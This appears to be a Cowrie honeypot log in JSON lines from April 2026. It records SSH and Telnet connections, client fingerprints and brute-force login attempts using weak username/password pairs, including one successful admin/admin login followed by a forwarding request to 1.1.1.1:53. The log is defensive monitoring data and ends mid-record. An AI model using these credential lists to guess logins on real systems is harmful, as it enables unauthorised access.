{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:40.365015Z","src_ip":"45.120.216.232","session":"2542de9f1855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"proxyuser","password":"1234","message":"login attempt [proxyuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:41.334719Z","src_ip":"45.120.216.232","session":"2542de9f1855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:42.571987Z","src_ip":"45.120.216.232","session":"2542de9f1855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59856,"dst_ip":"159.203.135.109","dst_port":22,"session":"92b11af655ec","protocol":"ssh","message":"New connection: 159.203.92.129:59856 (159.203.135.109:22) [session: 92b11af655ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:16:15.844050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:16:15.848932Z","src_ip":"159.203.92.129","session":"92b11af655ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:16:15.857180Z","src_ip":"159.203.92.129","session":"92b11af655ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin12020","message":"login attempt [admin1/admin12020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:16:15.870058Z","src_ip":"159.203.92.129","session":"92b11af655ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:16:16.876687Z","src_ip":"159.203.92.129","session":"92b11af655ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":41998,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef1a6afe5af6","protocol":"ssh","message":"New connection: 45.120.216.232:41998 (159.203.135.109:22) [session: ef1a6afe5af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:16:41.935429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:16:41.940376Z","src_ip":"45.120.216.232","session":"ef1a6afe5af6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:16:42.176638Z","src_ip":"45.120.216.232","session":"ef1a6afe5af6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansadmin","password":"1234","message":"login attempt [ansadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:16:43.145451Z","src_ip":"45.120.216.232","session":"ef1a6afe5af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:16:44.382687Z","src_ip":"45.120.216.232","session":"ef1a6afe5af6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44410,"dst_ip":"159.203.135.109","dst_port":22,"session":"0883c7eb17cc","protocol":"ssh","message":"New connection: 159.203.92.129:44410 (159.203.135.109:22) [session: 0883c7eb17cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:16:59.999999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:00.006297Z","src_ip":"159.203.92.129","session":"0883c7eb17cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:00.016126Z","src_ip":"159.203.92.129","session":"0883c7eb17cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin12021","message":"login attempt [admin1/admin12021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:00.048442Z","src_ip":"159.203.92.129","session":"0883c7eb17cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:01.061294Z","src_ip":"159.203.92.129","session":"0883c7eb17cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":59972,"dst_ip":"159.203.135.109","dst_port":22,"session":"7865eb9bfc91","protocol":"ssh","message":"New connection: 45.120.216.232:59972 (159.203.135.109:22) [session: 7865eb9bfc91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:43.990815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:43.995934Z","src_ip":"45.120.216.232","session":"7865eb9bfc91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39080,"dst_ip":"159.203.135.109","dst_port":22,"session":"45a45cc0e396","protocol":"ssh","message":"New connection: 159.203.92.129:39080 (159.203.135.109:22) [session: 45a45cc0e396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:44.109091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:44.114028Z","src_ip":"159.203.92.129","session":"45a45cc0e396","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:44.118804Z","src_ip":"159.203.92.129","session":"45a45cc0e396","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin12022","message":"login attempt [admin1/admin12022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:44.133095Z","src_ip":"159.203.92.129","session":"45a45cc0e396","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:44.232458Z","src_ip":"45.120.216.232","session":"7865eb9bfc91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:45.140079Z","src_ip":"159.203.92.129","session":"45a45cc0e396","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:45.200586Z","src_ip":"45.120.216.232","session":"7865eb9bfc91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:46.439647Z","src_ip":"45.120.216.232","session":"7865eb9bfc91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":44102,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbe99928a140","protocol":"ssh","message":"New connection: 87.251.64.176:44102 (10.17.0.5:22) [session: cbe99928a140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:48.238698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:48.243698Z","src_ip":"87.251.64.176","session":"cbe99928a140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:48.340462Z","src_ip":"87.251.64.176","session":"cbe99928a140","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:48.629594Z","src_ip":"87.251.64.176","session":"cbe99928a140","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:48.728220Z","session":"cbe99928a140","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:48.825987Z","src_ip":"87.251.64.176","session":"cbe99928a140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:17:49.057916Z","src_ip":"87.251.64.176","session":"cbe99928a140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":40964,"dst_ip":"10.17.0.5","dst_port":23,"session":"12b72a0f4215","protocol":"telnet","message":"New connection: 69.6.202.156:40964 (10.17.0.5:23) [session: 12b72a0f4215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:13.741211Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55100,"dst_ip":"159.203.135.109","dst_port":22,"session":"67acd2d71867","protocol":"ssh","message":"New connection: 159.203.92.129:55100 (159.203.135.109:22) [session: 67acd2d71867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:27.144554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:27.174521Z","src_ip":"159.203.92.129","session":"67acd2d71867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-